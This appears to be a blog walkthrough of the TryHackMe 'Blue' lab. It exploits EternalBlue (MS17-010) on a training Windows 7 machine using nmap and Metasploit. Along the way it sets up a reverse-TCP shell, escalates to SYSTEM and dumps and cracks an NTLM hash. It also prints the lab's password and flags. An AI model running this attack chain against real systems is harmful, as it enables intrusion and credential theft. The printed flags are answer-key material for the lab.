TryHackMe Walkthrough- Blue

Hi Everyone…!!!

I am back with another machine in this blog. In this beginner-friendly blog, we will learn how to deploy & hack into a Windows machine, leveraging common misconfigurations issues.

This machine is based on Eternal blue vulnerability(CVE-2017-0143).

Let’s ping the blue machine and make sure we are connected.

Task 1:  Recon

In the 1st task, we need to scan and find out what exploit this machine is vulnerable to.

nmap -sC -sV -A -vv -T3

Now, we can see the open ports and which services are running on them in the above results. There are 3 open ports under 1000.

Here, the Microsoft–DS service is running on port number 445 and it is used by SMB (Server Message Block) service and that the system is running on Windows 7. So, we need to scan the machine to see if it is vulnerable to Eternal Blue (assuming it is called a blue machine) or other vulnerabilities affecting the older operating systems. We can do this using Nmap as well.

To Enumerate port 445, we will use Nmap script and following command:

nmap –script vuln -p445

–script (Nmap Scripting Engine ‘NSE’): Specify the --script option to choose your scripts to execute by providing categories, script file names, or the name of directories full of scripts you wish to execute. https://nmap.org/book/nse-usage.html#nse-categories

vuln: These scripts check for specific known vulnerabilities and generally report results only if they are found.

The output of the scan shows that the machine is vulnerable to ms17-010, which is known as Eternal Blue!

Task 2: Gain Access After a quick google search about ms17-010 exploit, I got to know that there is a Metasploit module ms17-010 Eternal blue. So, to exploit the machine and gain a foothold, we will use Metasploit.

Let’s fire up Metasploit using command msfconsole.

To search for the exploit, type of console: search eternalblue

search: The msfconsole includes an extensive regular expression-based search functionality. If you have a general idea of what you are looking for, you can search for it via search.

Before going any further, it is always advisable to check first if the host is vulnerable, before firing up an exploit in penetration testing. Because we do not want to harm the host with a careless exploit. So, to check this we can run auxiliary module with following command:

use auxiliary/scanner/smb/smb_ms17_010

auxiliary/…/…/: Auxiliary modules include port scanners, fuzzers, sniffers, and more.

Let’s use the auxiliary scanner to see what we get.

I have used the command: show options to see a list of current settings. In this, the column “Required” indicates additional settings that must be configured to make the module work properly.

Now it is confirmed that this is Vulnerable as we expected before.

Now let’s go back to previous results, which we got from the search eternalblue command.

So, here I will be using module 2 which has a path: exploit/windows/smb/ms17_010_eternalblue

Here it says no payload configured. So, by default, it is taking the “windows/x64/meterpreter/reverse_tcp” payload. But in the next tasks, we will need other sessions on meterpreter payload and for that 1st session, let’s take a simple shell as a payload, and then we will upgrade it in some time. So, I have set following payload:

set payload windows/x64/shell/reverse_tcp

Here I have noticed that by default the exploit also checks whether the target is vulnerable or not with the VERIFY_TARGET setting.

We can also see that this module has four required settings and three of them are automatically configured. So, we need to set only the RHOST (remote host) using command:

set RHOSTS <IP>

Also in the Payload section, we must set the LHOST (listening host) using command and attackers machine’s IP address:

set LHOST <IP>

I also varied if the RHOSTS and LHOST are set by checking options again.

Now let’s exploit the machine using command: exploit or run

exploit/…/…/: In the Metasploit Framework, exploit modules are defined as modules that use payloads

Yes..!!!

As you can see above, after running the exploit we have gained access to the shell of the target machine.

I am using command: whoami

It Displays user, group, and privileges information for the user who is currently logged on to the local system. If used without parameters, whoami displays the current domain and username.

But getting a shell is not enough, we must escalate our privileges to perform administrator-level operations on the system. For that, we need to upgrade our shell to meterpreter as it gives a lot of functionalities as compared to a normal shell.

Before that, we need to put previously gained shell in the background using (CTRL + Z).

By typing command sessions you can get information about all running sessions.

Now only 1 reserver shell session is running but our next task requires us to upgrade a standard reverse shell to a meterpreter session. I have researched on the web on how to convert a shell to a meterpreter shell in Metasploit.

I am using command: grep meterpreter search shell to search

Here I am using command: post/multi/manage/shell_to_meterpreter, which is on number 582

Select this (use MODULE_PATH). Using command show options, we are required to change the SESSION option.

Use command exploit/run to upgrade from the OS shell to a meterpreter shell.

We have successfully created a meterpreter session. Now we can see that we have 2 sessions running and we can change session with this command: sessions -i <Id>

Using this here, I am changing the session to Id number 2, meterpreter.

 Task 3: Escalate

Now that we have our meterpreter session, we can verify the system info by running the getsystem command and make sure that we have system-level privileges.

meterpreter (getsystem): Attempt to elevate your privilege to that of the local system.
meterpreter (shell): The shell command will present you with a standard shell on the target system.

Our next challenge after escalating our meterpreter shell is to migrate it into another process. For that, I moved out of our standard shell and went back to the meterpreter session using CTRL+Z.

Run the ps command to check about all the processes that are running on the system. There are a lot of processes running as the NT Authority. So, I have noted down the PID of the searchIndexer.exe process.

Task 4: Cracking

Now as we have complete control of the target machine, we can crack some passwords. For that, we need to dump the non-default user’s password and crack it.

In our elevated meterpreter shell, by using the command hashdump, we will dump all the passwords on the machine. This is possible because we have the correct privileges to do so.

So, we found the non-default user Jon.

Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

Windows OS used to have LM hashing to store passwords, but it moved over to using NTLM. This hashdump can be broken into following: (each separated by a colon):

user: Jon
RID: 1000
LM hash: aad3b435b51404eeaad3b435b51404ee
NT hash: ffb43f0de35be4d9917ac0cc8ad57f8d

Now, this is the fun part. We can use hashcat to crack this password but some online software like Crackstation will also work fine to crack this type of weak NTLM passwords. Let’s try it with that CrackStation available at  https://crackstation.net/

Jon’s password is alqfna22.

 

Task 5 Find flags!

Now we need to find the three flags planted on this machine. These are not traditional flags, rather, they are meant to represent key locations within the Windows system.

flag1.txt C:\flag1.txt                                                                                                                                           Flag 1: {access_the_machine}

Flag2: Windows does not like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag.

Same way we can find flag 2 and in following location:

flag2.txt C:\Windows\System32\config\flag2.txt                                                                                  Flag 2: {sam_database_elevated_access}

flag3.txt C:\Users\Jon\Documents\flag3.txt                                                                                            Flag 3:{admin_documents_can_be_valuable}

This concludes all the required tasks in this machine. EternalBlue exploits a vulnerability in Microsoft’s implementation of the Server Message Block (SMB) protocol. EternalBlue is a cyberattack exploit developed by the U.S. National Security Agency (NSA) and was leaked by the Shadow Brokers hacker group on April 14, 2017. This vulnerability was well-known back then, as many systems were compromised using this vulnerability. After that, one month later Microsoft released fixes to patch up these vulnerabilities for different Operating systems. But many Windows users missed installing the patches which paved the path for another hack two months later on May 12, 2017, the WannaCry ransomware attack. It used the EternalBlue vulnerability to spread itself. The next day (May 13, 2017) itself, Microsoft released emergency security patches for the unsupported Windows systems.

With this, we conclude that using systems with such vulnerabilities can be compromised and the adversary can gain access and benefit from it. So, it is highly recommended to always keep your software and windows updated with the latest version, fixes, and patches to reduce the risk of being compromised by such vulnerabilities.

Thanks for reading and will meet you next time with another blog soon.

Until next time, Happy hacking…!!!

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